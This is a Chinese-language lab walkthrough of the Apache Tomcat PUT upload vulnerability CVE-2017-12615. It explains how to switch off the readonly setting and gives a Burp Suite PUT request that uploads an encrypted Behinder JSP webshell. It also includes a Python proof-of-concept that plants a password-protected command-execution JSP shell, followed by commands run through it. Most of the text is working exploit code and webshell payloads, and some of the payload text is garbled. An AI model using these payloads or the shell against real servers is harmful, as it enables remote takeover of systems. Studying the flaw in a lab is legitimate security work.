漏洞介绍
2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)
当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false
),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。
Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。所以需要修改下参数,来到Tomcat 7.0\conf下,编辑/web.xml文件,找到途中这个位置手动添加
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
基本信息
漏洞名称:Tomcat任意文件上传漏洞
漏洞编号:CVE-2017-12615
漏洞影响:上传包含任意代码的文件,并被服务器执行。
影响平台:Windows
影响版本:Apache Tomcat 7.0.0 - 7.0.81
payload1:测试任意文件上传
利用burpsuite 进行抓包
http://192.168.100.23:8080/
发送到repeater,修改GET请求为PUT,修改名字,下面添加jsp的shell
shell
<%@page
import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U
extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte
[]b){return super.defineClass(b,0,b.length);}}%><%if
(request.getMethod().equals(“POST”)){String
k=“e45e329feb5d925b”;/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/session.putValue(“u”,k);Cipher
c=Cipher.getInstance(“AES”);c.init(2,new
SecretKeySpec(k.getBytes(),“AES”));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
bp数据包,修改GET请求为PUT
PUT /222.jsp/ HTTP/1.1 Host: 192.168.100.23:8080 User-Agent: JNTASS
DNT:1 Connection: close Content-Length: 572<%@page
import=“java.util.,javax.crypto.,javax.crypto.spec.*”%><%!class U
extends ClassLoader{U(ClassLoader c){super©;}public Class g(byte
[]b){return super.defineClass(b,0,b.length);}}%><%if
(request.getMethod().equals(“POST”)){String
k=“e45e329feb5d925b”;/åÆ¥:Þ¥Æ32Mmd5<„M16M ؤޥÆrebeyond/session.putValue(“u”,k);Cipher
c=Cipher.getInstance(“AES”);c.init(2,new
SecretKeySpec(k.getBytes(),“AES”));new
U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
写入后看是否成功
可以看到访问正常
冰蝎连接
方法二
这个是大牛的python POC脚本
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
运行POC脚本
python dd.py 192.168.100.23:8080
直接生成一个shell文件
进行访问,并执行命令,?&pwd=023&cmd=net user
参考文章
https://blog.csdn.net/DarkHQ/article/details/79302051
https://mp.weixin.qq.com/s/dgWT3Cgf1mQs-IYxeID_Mw
https://www.cnblogs.com/deen-/p/7566024.html
https://blog.csdn.net/qq1124794084/article/details/78044756